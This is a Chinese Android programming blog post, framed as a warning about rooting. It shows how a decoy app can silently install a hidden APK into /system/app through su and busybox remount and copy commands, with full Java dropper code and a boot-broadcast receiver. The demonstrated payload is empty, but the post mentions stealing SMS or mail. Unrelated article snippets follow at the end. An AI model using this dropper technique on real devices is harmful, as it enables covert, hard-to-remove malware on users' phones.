編輯:關於Android編程
前提:你有一部已經root的android手機,並且手機中有busybox和superuser
導讀:
本文介紹一種簡單的病毒以及如何“防御”。寫本博客的原因是:有無數用戶覺得root沒有什麼風險,或者風險不會降臨到自己頭上。這裡告訴大家,其實風險就在身邊!
這裡講的內容其實對於大多數開發者都不是什麼新鮮的事情了,使用的技術也非常一般和普遍。
雖然大家都知道可以這樣這樣,但是還是隨意下載軟件,不加小心,就會掉入陷阱。
有些人覺得,只要我下載軟件的時候檢查軟件所申請的權限就好了,其實沒有那麼簡單。
我們來看看如果一個軟件,獲得了一次root權限,那麼它可以作些什麼呢?
好吧,我們先來一次“靜默安裝”!
原理很簡單,基本上相當於把apk push到手機裡面,兩個選擇
data/app
system/app
如果我是病毒軟件,我肯定選擇push到system/app
我們需要制作兩個apk,一個是真正目的的(病毒,real.apk),另一個是假的殼子(fake.apk)
首先先制作real.apk,我們只是用來測試,所以這個apk沒有什麼實際內容(下載real.apk: http://up.2cto.com/2012/0901/20120901112020892.zip
)。
real.apk裡有一個receiver,用來監聽開機的廣播
[xml] view plaincopy
android.intent.action.BOOT_COMPLETED
還有一個activity,沒有什麼實質內容,然後編譯出apk,待用。
下面來制作殼子
新建一個android工程,將之前的real.apk復制到assets目錄下
然後新建一個activity來測試
這個殼子的很簡單,它只負責把真實的應用安裝到用戶手機中,我們再細分一下,首先,將文件assets/real.apk提取出來,放到自己的私有目錄中,在本例子中的目錄為data/data/com.example.fake/files,這一步是不需要任何權限的
[java] view plaincopy
prepareButton.setOnClickListener(new View.OnClickListener() {
public void onClick(View v) {
File dataFolder = getFilesDir();
File jar = new File(dataFolder.getAbsolutePath() + "/real.apk");
copyFile("real.apk", jar, mResources);
}
});
其中copFile函數見附件(就是一個簡單的io讀寫操作),這裡只給出偽代碼
[java] view plaincopy
InputStream myInput = null;
try
myInput = resources.getAssets().open(filePath);
……
catch
……
finally
……
第一步已經完成了,下一步請求root權限,然後將real.apk惡意安裝給用戶。
這裡需要使用到busybox,命令如下
busybox mount -o remount,rw /system
busybox cp /data/data/com.example.fake/files/real.apk /system/app/real.apk
busybox rm /data/data/com.example.fake/files/real.apk
之所以使用busybox,是因為手機裡面可能沒有mount、cp、rm等命令(我的手機裡面就沒有)
當然superuser需要同意你使用root權限
至此,你的入侵行為已經全部完成!
[java] view plaincopy
installButton.setOnClickListener(new View.OnClickListener() {
public void onClick(View v) {
String packageName = getPackageName();
String[] commands = {"busybox mount -o remount,rw /system",
"busybox cp /data/data/" + packageName + "/files/real.apk /system/app/real.apk",
"busybox rm /data/data/" + packageName + "/files/real.apk"};
Process process = null;
DataOutputStream dataOutputStream = null;
try {
process = Runtime.getRuntime().exec("su");
dataOutputStream = new DataOutputStream(process.getOutputStream());
int length = commands.length;
for (int i = 0; i < length; i++) {
Log.e(TAG, "commands[" + i + "]:" + commands[i]);
dataOutputStream.writeBytes(commands[i] + "\n");
}
dataOutputStream.writeBytes("exit\n");
dataOutputStream.flush();
process.waitFor();
} catch (Exception e) {
Log.e(TAG, "copy fail", e);
} finally {
try {
if (dataOutputStream != null) {
dataOutputStream.close();
}
process.destroy();
} catch (Exception e) {
}
}
} www.2cto.com
});
}
重啟手機之後,real.apk就能工作了,它會接收到開機廣播
如果你嵌入了更惡劣的代碼,比如偷發短信,竊取郵件,那麼用戶也是很難察覺的
real.apk在settings中會顯示在系統應用中,用戶不太會懷疑,即使懷疑了,他們也不敢輕易卸載!誰讓他們自己隨意刷rom呢,每個rom集成的軟件都不一樣。
MSM8909+Android5.1.1之BSP開發---電池管理2---BatteryInfo.java 先來借用MTK對電池管理的框架圖 圖1&n
在現有的技術條件下,內存永遠都是一個吃緊的資源,不用說是PC上會出現內存不足的可能,更不必說在移動設備上了。一旦出現內存不足就會導致系統卡頓,影響用戶體驗。而
首先我發現API還提供一個畫多邊形的類。而一個镂空圓分解成兩個多邊形,即橫著一刀切在這個镂空圓上,上下兩部分各為一個多邊形。但實現上述镂空圓時我的思路還是講經緯度看出笛卡
我們經常遇到一個需求,就是給別人使用我們工程的時候,為了能夠屏蔽代碼,把代碼封裝成jar包提供給第三方使用,但是這樣我們的資源文件怎麼給對方用呢? 網上有很多方法,有用C